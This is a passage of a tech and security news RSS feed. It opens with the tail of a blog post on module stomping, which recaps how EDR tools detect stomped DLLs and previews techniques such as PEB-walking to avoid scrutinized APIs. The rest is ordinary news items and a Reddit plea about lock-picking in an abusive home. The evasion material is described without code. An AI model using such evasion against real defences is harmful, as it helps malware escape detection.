a baseline injection primitive, a vanilla implementation introduces secondary Indicators of Compromise (IoCs) via static imports and API strings.</li><li>Modern EDR platforms and memory scanners don’t just look for unbacked memory; they actively perform verification checks to spot when a loaded module’s in-memory bytes deviate from its on-disk image.</li></ul><h3>Next Steps</h3><h4>Enhancements</h4><p>While this foundational implementation gets our code running under the guise of a legitimate DLL, it leaves obvious footprints. In the next post, we will look at moving beyond basic local execution to explore:</p><ul><li><strong>Remote Module Stomping:</strong> Orchestrating this dance inside a remote target process.</li><li><strong>Dynamic Function Resolution:</strong> Using PEB-walking techniques to reduce static IoCs and avoid highly scrutinized APIs.</li><li><strong>Targeted Stomping Workflow:</strong> Custom tooling to support a workflow for identifying the best target for module stomping operations.</li></ul><h3>References</h3><ul><li>“Module Stomping: Who up stompin they modules” by Dylan Tran<br><a href="https://dtsec.us/2023-11-04-ModuleStompin/">https://dtsec.us/2023-11-04-ModuleStompin/</a></li><li>SystemInformer by Winsider Seminars &amp; Solutions, Inc.<br><a href="https://systeminformer.sourceforge.io/">https://systeminformer.sourceforge.io/</a></li><li>MSDN: OpenProcess<br><a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess</a></li><li>MSDN: LoadLibraryExA<br><a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa">https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa</a></li><li>MSDN: GetProcAddress<br><a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress">https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress</a></li><li>MSDN: CreateThread<br><a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread">https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=26238af76d43" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/an-introduction-to-module-stomping-26238af76d43">An Introduction to Module Stomping</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dell’s new XPS 14 is better in almost every way]]></title>
<description><![CDATA[The 2026 XPS 14 is the best premium laptop we've seen from Dell in a while, with incredible build quality in a thin machine and good performance thanks to Intel's Core Ultra Series 3 "Panther Lake" chips. A bonus: Dell killed its lame "Premium Plus" naming scheme. XPS is so back! I can't believe ...]]></description>
<link>https://tsecurity.de/de/3579456/it-nachrichten/dells-new-xps-14-is-better-in-almost-every-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579456/it-nachrichten/dells-new-xps-14-is-better-in-almost-every-way/</guid>
<pubDate>Sun, 07 Jun 2026 16:05:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The 2026 XPS 14 is the best premium laptop we've seen from Dell in a while, with incredible build quality in a thin machine and good performance thanks to Intel's Core Ultra Series 3 "Panther Lake" chips. A bonus: Dell killed its lame "Premium Plus" naming scheme. XPS is so back! I can't believe how […]]]></content:encoded>
</item>
<item>
<title><![CDATA[TikTok-Trend: So erschafft ihr mit eurem Handy Hologramme]]></title>
<description><![CDATA[Dance-Routinen und Internet-Memes sind nicht alles, was TikTok zu bieten hat! Dieser virale Trick zeigt euch, wie ihr mit einem Smartphone Hologramme erzeugt.
																					Dieser Artikel wurde einsortiert unter 
																	Internet & Netzwelt.]]></description>
<link>https://tsecurity.de/de/3578097/it-nachrichten/tiktok-trend-so-erschafft-ihr-mit-eurem-handy-hologramme/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578097/it-nachrichten/tiktok-trend-so-erschafft-ihr-mit-eurem-handy-hologramme/</guid>
<pubDate>Sat, 06 Jun 2026 18:47:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Dance-Routinen und Internet-Memes sind nicht alles, was TikTok zu bieten hat! Dieser virale Trick zeigt euch, wie ihr mit einem Smartphone Hologramme erzeugt.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/internet/internet-netzwelt.html">Internet &amp; Netzwelt</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft just killed Edge’s Collections and Sidebar for more Copilot, after years of pushing both features]]></title>
<description><![CDATA[Microsoft told Windows Latest that Collections and Sidebar are no longer available with Edge 149, which began rolling out on June 4, 2026.
The post Microsoft just killed Edge’s Collections and Sidebar for more Copilot, after years of pushing both features appeared first on Windows Latest]]></description>
<link>https://tsecurity.de/de/3577081/windows-tipps/microsoft-just-killed-edges-collections-and-sidebar-for-more-copilot-after-years-of-pushing-both-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577081/windows-tipps/microsoft-just-killed-edges-collections-and-sidebar-for-more-copilot-after-years-of-pushing-both-features/</guid>
<pubDate>Sat, 06 Jun 2026 06:54:27 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft told Windows Latest that Collections and Sidebar are no longer available with Edge 149, which began rolling out on June 4, 2026.</p>
<p>The post <a rel="nofollow" href="https://www.windowslatest.com/2026/06/06/microsoft-just-killed-edges-collections-and-sidebar-for-more-copilot-after-years-of-pushing-both-features/">Microsoft just killed Edge’s Collections and Sidebar for more Copilot, after years of pushing both features</a> appeared first on <a rel="nofollow" href="https://www.windowslatest.com/">Windows Latest</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.166]]></title>
<description><![CDATA[What's changed

Added fallbackModel setting to configure up to three fallback models tried in order when the primary model is overloaded or unavailable; --fallback-model now also applies to interactive sessions
Added glob pattern support in deny rule tool-name position ("*" denies all tools); all...]]></description>
<link>https://tsecurity.de/de/3576867/downloads/v21166/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576867/downloads/v21166/</guid>
<pubDate>Sat, 06 Jun 2026 03:01:16 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>fallbackModel</code> setting to configure up to three fallback models tried in order when the primary model is overloaded or unavailable; <code>--fallback-model</code> now also applies to interactive sessions</li>
<li>Added glob pattern support in deny rule tool-name position (<code>"*"</code> denies all tools); allow rules reject non-MCP globs, and unknown tool names in deny rules warn at startup</li>
<li>Hardened cross-session messaging: messages relayed via <code>SendMessage</code> from other Claude sessions no longer carry user authority — receivers refuse relayed permission requests, and auto mode blocks them</li>
<li><code>MAX_THINKING_TOKENS=0</code>, <code>--thinking disabled</code>, and the per-model thinking toggle now disable thinking on models that think by default via the Claude API (3P providers unchanged)</li>
<li>Claude Code now retries a turn once on the fallback model when the API rejects an unexpected non-retryable error; auth, rate-limit, request-size, and transport errors still surface immediately</li>
<li><code>claude update</code> now announces the target version before downloading instead of going silent</li>
<li><code>claude agents</code>: typing a URL into the list now filters to the session whose first prompt contained it</li>
<li>Fixed a recurring "image could not be processed" error and extra token usage when an unprocessable image was sent in a session</li>
<li>Fixed remote sessions becoming permanently stuck when a brief backend disruption occurred during worker registration at startup</li>
<li>Fixed flickering in JetBrains IDE terminals (IntelliJ, PyCharm, WebStorm, etc.) on 2026.1+ by enabling synchronized output</li>
<li>Fixed Shift+non-ASCII characters (e.g. Shift+ä → Ä) being dropped in terminals using the Kitty keyboard protocol (WezTerm, Ghostty, kitty)</li>
<li>Fixed PowerShell command validation occasionally hanging far past its time budget on Windows when a killed process's children held its output pipes</li>
<li>Fixed orphaned <code>claude --bg-pty-host</code> processes spinning at 100% CPU after the daemon dies while connected on macOS</li>
<li>Fixed voice mode requiring <code>/login</code> to clear a stale auth check after toggling <code>/voice</code></li>
<li>Fixed managed settings with an invalid entry silently disabling enforcement of their remaining valid policies</li>
<li>Fixed managed-settings <code>allowedMcpServers</code>/<code>deniedMcpServers</code> predicates not matching when they use <code>${VAR}</code> references</li>
<li>Fixed background agent sessions that entered a git worktree crash-looping with "No conversation found" when reopened from <code>claude agents</code></li>
<li>Fixed duplicated thinking text in the Ctrl+O transcript view while streaming</li>
<li>Fixed <code>/doctor</code> showing a contradictory failed "Not inside a remote session" check when run inside a remote session</li>
<li>Fixed the cursor sticking at the end of the first line when typing a multiline prompt in the <code>claude agents</code> dispatch and reply inputs</li>
<li>Fixed blank lines appearing between background agent rows in the task list on terminals without Unicode support</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[China’s Unitree Robots Dance Into the US Spotlight on America’s Got Talent]]></title>
<description><![CDATA[Unitree’s humanoid robots wowed America’s Got Talent viewers, but their viral US debut comes amid growing scrutiny of Chinese robotics.]]></description>
<link>https://tsecurity.de/de/3576117/it-nachrichten/chinas-unitree-robots-dance-into-the-us-spotlight-on-americas-got-talent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576117/it-nachrichten/chinas-unitree-robots-dance-into-the-us-spotlight-on-americas-got-talent/</guid>
<pubDate>Fri, 05 Jun 2026 19:02:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Unitree’s humanoid robots wowed America’s Got Talent viewers, but their viral US debut comes amid growing scrutiny of Chinese robotics.]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic’s AI services are too expensive, says Microsoft AI head]]></title>
<description><![CDATA[Projection, much? Microsoft’s head of AI has accused a rival’s AI service of being too pricey, just as the introduction of usage-based pricing for GitHub Copilot begins to hit developers using its own services.



“Anthropic is extremely expensive and I think many people are urgently looking for ...]]></description>
<link>https://tsecurity.de/de/3575997/ai-nachrichten/anthropics-ai-services-are-too-expensive-says-microsoft-ai-head/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575997/ai-nachrichten/anthropics-ai-services-are-too-expensive-says-microsoft-ai-head/</guid>
<pubDate>Fri, 05 Jun 2026 18:18:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Projection, much? Microsoft’s head of AI has accused a rival’s AI service of being too pricey, just as the introduction of <a href="https://www.infoworld.com/article/4164236/github-shifts-copilot-to-usage-based-billing-signaling-new-cost-model-for-enterprise-ai-tools.html">usage-based pricing for GitHub Copilot</a> begins to hit developers using its own services.</p>



<p>“Anthropic is extremely expensive and I think many people are urgently looking for alternatives,” Mustafa Suleyman, CEO of Microsoft AI, <a href="https://www.bloomberg.com/news/newsletters/2026-06-04/microsoft-says-anthropic-models-are-too-expensive" target="_blank" rel="noreferrer noopener">told Bloomberg News</a>.</p>



<p>The spotlight is on the cost of AI services at the moment, with <a href="https://www.infoworld.com/article/4181397/the-real-cost-of-agentic-ai.html">so many different parts of the business using the technology</a> while at the same time <a href="https://www.computerworld.com/article/4142408/ai-budgets-soar-roi-still-elusive.html">many businesses are finding it hard to report any meaningful ROI</a>.</p>



<p>This week, Microsoft at its annual Build conference looked to fight back against this <a href="https://microsoft.ai/news/building-a-hillclimbing-machine-launching-seven-new-mai-models/" target="_blank" rel="noreferrer noopener">when it announced seven new AI models</a>, emphasizing the lower cost. The company hopes that cheaper AI models will mean more enterprises find that AI projects are viable. In 2025, <a href="https://www.computerworld.com/article/4016206/nearly-half-of-agentic-ai-projects-will-be-killed-by-27-due-to-hype-costs-and-risks.html">Gartner reported</a> that many such endeavors would be cancelled by 2027: cheaper implementations could be the way forward.</p>



<p>Microsoft clearly sees its own AI developer tools as a better deal than those of Anthropic: Last month it was reported that Microsoft would cancel most of its Claude Code licenses at the end of the half-year period in June, moving engineers to its own CoPilot tool.</p>



<p><em>This article first appeared on <a href="https://www.cio.com/article/4181777/anthropics-ai-services-are-too-expensive-says-microsoft-ai-head.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic’s AI services are too expensive, says Microsoft AI head]]></title>
<description><![CDATA[Projection, much? Microsoft’s head of AI has accused a rival’s AI service of being too pricey, just as the introduction of usage-based pricing for GitHub Copilot begins to hit developers using its own services.



“Anthropic is extremely expensive and I think many people are urgently looking for ...]]></description>
<link>https://tsecurity.de/de/3575981/it-nachrichten/anthropics-ai-services-are-too-expensive-says-microsoft-ai-head/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575981/it-nachrichten/anthropics-ai-services-are-too-expensive-says-microsoft-ai-head/</guid>
<pubDate>Fri, 05 Jun 2026 18:17:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Projection, much? Microsoft’s head of AI has accused a rival’s AI service of being too pricey, just as the introduction of <a href="https://www.infoworld.com/article/4164236/github-shifts-copilot-to-usage-based-billing-signaling-new-cost-model-for-enterprise-ai-tools.html">usage-based pricing for GitHub Copilot</a> begins to hit developers using its own services.</p>



<p>“Anthropic is extremely expensive and I think many people are urgently looking for alternatives,” Mustafa Suleyman, CEO of Microsoft AI, <a href="https://www.bloomberg.com/news/newsletters/2026-06-04/microsoft-says-anthropic-models-are-too-expensive" target="_blank" rel="nofollow">told Bloomberg News</a>.</p>



<p>The spotlight is on the cost of AI services at the moment, with <a href="https://www.infoworld.com/article/4181397/the-real-cost-of-agentic-ai.html">so many different parts of the business using the technology</a> while at the same time <a href="https://www.computerworld.com/article/4142408/ai-budgets-soar-roi-still-elusive.html">many businesses are finding it hard to report any meaningful ROI</a>.</p>



<p>This week, Microsoft at its annual Build conference looked to fight back against this <a href="https://microsoft.ai/news/building-a-hillclimbing-machine-launching-seven-new-mai-models/" target="_blank" rel="nofollow">when it announced seven new AI models</a>, emphasizing the lower cost. The company hopes that cheaper AI models will mean more enterprises find that AI projects are viable. In 2025, <a href="https://www.computerworld.com/article/4016206/nearly-half-of-agentic-ai-projects-will-be-killed-by-27-due-to-hype-costs-and-risks.html">Gartner reported</a> that many such endeavors would be cancelled by 2027: cheaper implementations could be the way forward.</p>



<p>Microsoft clearly sees its own AI developer tools as a better deal than those of Anthropic: Last month it was reported that Microsoft would cancel most of its Claude Code licenses at the end of the half-year period in June, moving engineers to its own CoPilot tool.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon's New Stargate Series Is Officially Dead]]></title>
<description><![CDATA[Amazon has reportedly killed its planned new Stargate series despite giving it a series order in 2025. According to Variety, studio executives were worried it would only appeal to longtime fans. ScreenRant reports: Reports of what became Gero's Stargate series started in 2022, after Amazon acquir...]]></description>
<link>https://tsecurity.de/de/3571721/it-security-nachrichten/amazons-new-stargate-series-is-officially-dead/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571721/it-security-nachrichten/amazons-new-stargate-series-is-officially-dead/</guid>
<pubDate>Thu, 04 Jun 2026 09:07:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon has reportedly killed its planned new Stargate series despite giving it a series order in 2025. According to Variety, studio executives were worried it would only appeal to longtime fans. ScreenRant reports: Reports of what became Gero's Stargate series started in 2022, after Amazon acquired MGM Studios. Dean Devlin, who co-wrote the 1994 Stargate movie with Emmerich, was another executive producer for the Amazon show, as were Joby Harold and Tory Tunnell via Safehouse Pictures. The project also had Brad Wright and Joe Mallozzi as consulting producers, with both having had extensive history working within the Stargate franchise.
 
On X, Michael Shanks, who played Daniel Jackson in Stargate SG-1, posted in response to the news that: "Yep. They did that." Mallozzi was resistant to the idea that the series was being geared toward diehard fans: "Nope. No. Sorry. Gonna have to push back on this. We were ever mindful of creating a show that would have broad appeal." In an additional post, Mallozzi went into further detail about why the cancellation is so disappointing:
 
Before the new series was canceled by Amazon, Stargate began with Emmerich and Devlin's movie starring Kurt Russell and James Spader. This paved the way for 10 seasons of Stargate SG-1, followed by five seasons of Stargate Atlantis. There has also been the two-season Stargate Universe, the one-season animated show Stargate Infinity, the web miniseries Stargate Origins, and the 2008 direct-to-video movies Stargate: The Ark of Truth and Stargate Continuum, along with numerous games.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Amazon's+New+Stargate+Series+Is+Officially+Dead%3A+https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F06%2F04%2F0531213%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F06%2F04%2F0531213%2Famazons-new-stargate-series-is-officially-dead%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://entertainment.slashdot.org/story/26/06/04/0531213/amazons-new-stargate-series-is-officially-dead?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Need to lock my bedroom door from the inside while I'm not home.]]></title>
<description><![CDATA[Hi, this is a sort of crazy situation, but I (19 F) need some help because I don't know what else to do, and have two major issues. I apologize for any typos, I'm shaking while writing it. I currently live in my mom's (41 F) house, its under her name, she pays for everything, my step dad (54 M) i...]]></description>
<link>https://tsecurity.de/de/3571236/it-security-nachrichten/need-to-lock-my-bedroom-door-from-the-inside-while-im-not-home/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571236/it-security-nachrichten/need-to-lock-my-bedroom-door-from-the-inside-while-im-not-home/</guid>
<pubDate>Thu, 04 Jun 2026 03:52:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi, this is a sort of crazy situation, but I (19 F) need some help because I don't know what else to do, and have two major issues. I apologize for any typos, I'm shaking while writing it. I currently live in my mom's (41 F) house, its under her name, she pays for everything, my step dad (54 M) is a complete freeloader, has a job, doesn't contribute or help with the smaller kids at all (my mom has significantly younger children). He's also a major pathological narcissist and liar, and probably quite literally a sociopath. He has zero emotional attachment to anything living, cares about nothing other than himself and his favorite hobby is intentionally making other people's lives harder. Anyways, I'm living here temporarily until I move into my own place in September, my mom is helping me pay for my continued education following me dropping out of traditional college, and she said that I'm allowed to live here free as long as I hold a job (I currently have two), and stay dedicated to my studies and make good grades. I have a kitten as well, I found him on the side of the road before his eyes even opened and have raised him since, he's 8 weeks old now. My mom is currently out of town with my four younger siblings, I stayed home to work, and apparently my step dad did as well, she left last Friday and is coming home tomorrow. Which honestly makes me asking this feel entirely stupid but hear me out please. I am also partially posting this here to have it recorded, if anyone has thoughts on me potentially filing a police report, please share those as well.</p> <p>I have two jobs, one full time, one part time, both almost entirely outdoors, so when I come home, I'd really like to be a little cooler, considering we live in the south and it's like 85+ degrees with humidity. My room has multiple windows and tends to trap whatever temperature and multiply it, so it gets extremely hot in the summer and extremely cold in the winter. There is a thermostat outside of my room, but there is also a switch on the actual AC machine thing to turn it on and off, and that is upstairs in an unfinished closet like room. For the past week, I have made sure to turn it off at the switch every single day before leaving for work, and only turning it back on after getting express permission from my mother, who pays the power bill. However, this has sent my step dad on a power trip, so every single time I've gone to turn the AC on, he'd come behind me and turn it off as soon as I was out of earshot, often we'd do this multiple times a night. So I started waiting about an hour and a half, waiting for him to get comfortable and go to sleep, to go turn it back on. It has caused me to be majorly sleep deprived because I leave for work hours before he does and don't come back until usually after or only shortly before he does. Two nights ago now, I went and turned it on and then waited to see if he'd come back up, planning to confront him, but apparently he'd gotten to it before I even gotten set up to wait him out (I went back to my room for a minute to grab my phone, charger, etc). I checked and he locked the door to the room that the switch is in, I can't open it. It's a traditional lock, probably just like the one you have on your bedroom door, super common lock. I really need to pick this lock so I can get in there and turn it on. I haven't slept in multiple days atp, I can't sleep hot at all, and it's putting me in a really bad position with my jobs because they've noticed I'm distracted, exhausted, not doing as well as I usually do. How do I pick this lock, or even just make a key for it? Any tips?</p> <p>I mentioned that I have a kitten, and my step dad's pathological issues. I can't lock my bedroom door whenever I leave the house for work because I won't be able to get back in. My kitten stays in my room, he doesn't leave my room because we have dogs that I don't feel safe with him around, considering how little he is. I also hid some food in my room because my step dad steals the food I use for my lunches, and doesn't allow me to eat whenever he's home and my mom is not. If he catches me eating he will quite literally dump water all over my food or just pick it up and throw it away entirely, plate and all. I got home from work today and noticed that all of the food that I've hidden is gone and my kitten is acting super skittish. My step dad does have a history of abusing my animals, my cats especially, and even killed my cat two and a half years ago. My kitten is also breathing abnormally. One of my jobs is at an animal clinic and I will be discussing with the doctor there what he thinks I should do, I'm going to contact him as soon as I finish writing this, especially if symptoms continue throughout the night. I don't have a key for the door going into my room, so I am needing to either figure out a way to lock this door so that only I can get into it when it is locked, or just get an entirely new doorknob and lock. Does anyone know how I could get a key made, where I could get a new doorknob and key, or know of a way to lock this from the inside?</p> <p>Yes I am recording everything, he has a history of things like this, as well as more severe abuse when I was a child, that stopped when I got a job and a phone, aka the ability to call the police, but it would always get worse whenever I'd get grounded from my phone. No, he does not treat my other siblings like this, it is specifically towards me because I'm not his child and my biological father (45 M) is still in the picture. My dad has stepped in since my mom has been gone and made sure I've gotten home safe, eaten, etc, and I know that I can call him and he'll probably get here faster and solve the issue faster than the cops would. I'd go stay with him, but he and his wife (34? F) and their children are actively moving, so I'm trying to stay out of the way, and I also have various things to deal with around the house, such as feeding the animals, keeping things clean (step dad is a complete slob). I know my mom comes home tomorrow, but I have a feeling this summer, until I move into my own place, is only going to get worse. I'm moving states when I move, not telling my parents when exactly I plan on moving or where I am moving. I'm doing this because when I lived in the college dorms, my step dad found out what dorm I lived in and some issues occurred. I'm really trying to protect myself and the things I love, and doing that will really protect my peace. Any help is appreciated, thank you guys for listening to me and any advice you can give me.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Low-Victory-4068"> /u/Low-Victory-4068 </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1trngpf/need_to_lock_my_bedroom_door_from_the_inside/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1trngpf/need_to_lock_my_bedroom_door_from_the_inside/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Short-sighted: John Ternus behind Apple Vision project refocuses]]></title>
<description><![CDATA[Apple's head-mounted hardware plans are slowly being cut, reportedly by new CEO John Ternus himself, with Vision Air said to be killed off alongside Display glasses.Apple Glass in its AR form would help by showing you the weather, among other tasks. The Apple Vision Pro was supposed to be the fir...]]></description>
<link>https://tsecurity.de/de/3570499/ios-mac-os/short-sighted-john-ternus-behind-apple-vision-project-refocuses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570499/ios-mac-os/short-sighted-john-ternus-behind-apple-vision-project-refocuses/</guid>
<pubDate>Wed, 03 Jun 2026 20:07:18 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple's head-mounted hardware plans are slowly being cut, reportedly by new CEO John Ternus himself, with Vision Air said to be killed off alongside Display glasses.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67825-142940-Apple-Glass-weather-xl.jpg" alt="Smart glasses lens showing transparent weather forecast display while looking down a bright city street with buildings, pedestrians, and trees in the background" height="738"><br><span>Apple Glass in its AR form would help by showing you the weather, among other tasks. </span></div><br>The <a href="https://appleinsider.com/inside/apple-vision-pro" title="Apple Vision Pro" data-kpt="1">Apple Vision Pro</a> was supposed to be the first salvo in a new platform for Apple to dominate. However, Apple has reportedly made some moves to curtail its ambitions for the head-wearable future.<br><br>In an <a href="https://x.com/mingchikuo/status/2062216902609695054">X post</a> on Wednesday, analyst <a href="https://appleinsider.com/inside/ming-chi-kuo" title="Ming-Chi Kuo" data-kpt="1">Ming-Chi Kuo</a> of TF Securities has admitted that his Apple headset and glasses roadmap from one year ago is no longer a useful reference. Instead of many products on the horizon, it's been pruned down to just two smart glasses.<br><br><br> <a href="https://appleinsider.com/articles/26/06/03/short-sighted-john-ternus-behind-apple-vision-project-refocuses?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244523?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.30.4-rc0: Kill llama-server during Windows cleanup (#16458)]]></title>
<description><![CDATA[Windows installer and app cleanup could leave llama-server.exe running when ollama.exe was killed directly, so cleanup now includes llama-server.exe and taskkill /T.]]></description>
<link>https://tsecurity.de/de/3570408/downloads/v0304-rc0-kill-llama-server-during-windows-cleanup-16458/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570408/downloads/v0304-rc0-kill-llama-server-during-windows-cleanup-16458/</guid>
<pubDate>Wed, 03 Jun 2026 19:31:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Windows installer and app cleanup could leave llama-server.exe running when ollama.exe was killed directly, so cleanup now includes llama-server.exe and taskkill /T.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AIDA-Mutter Carnival: Datenpanne trifft 6 Mio. Passagiere]]></title>
<description><![CDATA[Carnival Corporation, die Muttergesellschaft von AIDA, Costa, Cunard, Holland America, P&O und Princess Cruises, hat einen schwerwiegenden Datenschutzvorfall eingeräumt.

Tags: #Cyber Crime | #Hackerangriffe aktuell]]></description>
<link>https://tsecurity.de/de/3568890/it-security-nachrichten/aida-mutter-carnival-datenpanne-trifft-6-mio-passagiere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3568890/it-security-nachrichten/aida-mutter-carnival-datenpanne-trifft-6-mio-passagiere/</guid>
<pubDate>Wed, 03 Jun 2026 10:52:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2026/06/Carnival-Cruise-Schiff-Quelle-Just-dance-Shutterstock-2607998345-1920.jpg" class="attachment-full size-full wp-post-image" alt="Carnival Cruise" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2026/06/Carnival-Cruise-Schiff-Quelle-Just-dance-Shutterstock-2607998345-1920.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2026/06/Carnival-Cruise-Schiff-Quelle-Just-dance-Shutterstock-2607998345-1920-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2026/06/Carnival-Cruise-Schiff-Quelle-Just-dance-Shutterstock-2607998345-1920-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2026/06/Carnival-Cruise-Schiff-Quelle-Just-dance-Shutterstock-2607998345-1920-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2026/06/Carnival-Cruise-Schiff-Quelle-Just-dance-Shutterstock-2607998345-1920-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="AIDA-Mutter Carnival: Datenpanne trifft 6 Mio. Passagiere 1"></p>
    Carnival Corporation, die Muttergesellschaft von AIDA, Costa, Cunard, Holland America, P&amp;O und Princess Cruises, hat einen schwerwiegenden Datenschutzvorfall eingeräumt.

<p>Tags: <a href="https://www.it-daily.net/thema/cyber-crime">#Cyber Crime</a> | <a href="https://www.it-daily.net/thema/hackerangriffe-aktuell">#Hackerangriffe aktuell</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anna-Carina gewinnt, aber RTL macht weiter: Das steckt hinter der Extra-Show von &quot;Let&#039;s Dance&quot; am Freitag]]></title>
<description><![CDATA[Der "Dancing Star" ist gekürt, doch schon diesen Freitag läuft die nächste große Show. Und Fans fragen sich: Kommt Anna-Carina zurück?
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webserie,																	RTL+,																	Ente...]]></description>
<link>https://tsecurity.de/de/3568337/it-nachrichten/anna-carina-gewinnt-aber-rtl-macht-weiter-das-steckt-hinter-der-extra-show-von-quotlet039s-dancequot-am-freitag/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3568337/it-nachrichten/anna-carina-gewinnt-aber-rtl-macht-weiter-das-steckt-hinter-der-extra-show-von-quotlet039s-dancequot-am-freitag/</guid>
<pubDate>Wed, 03 Jun 2026 07:17:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Der "Dancing Star" ist gekürt, doch schon diesen Freitag läuft die nächste große Show. Und Fans fragen sich: Kommt Anna-Carina zurück?
																					Dieser Artikel wurde einsortiert unter 
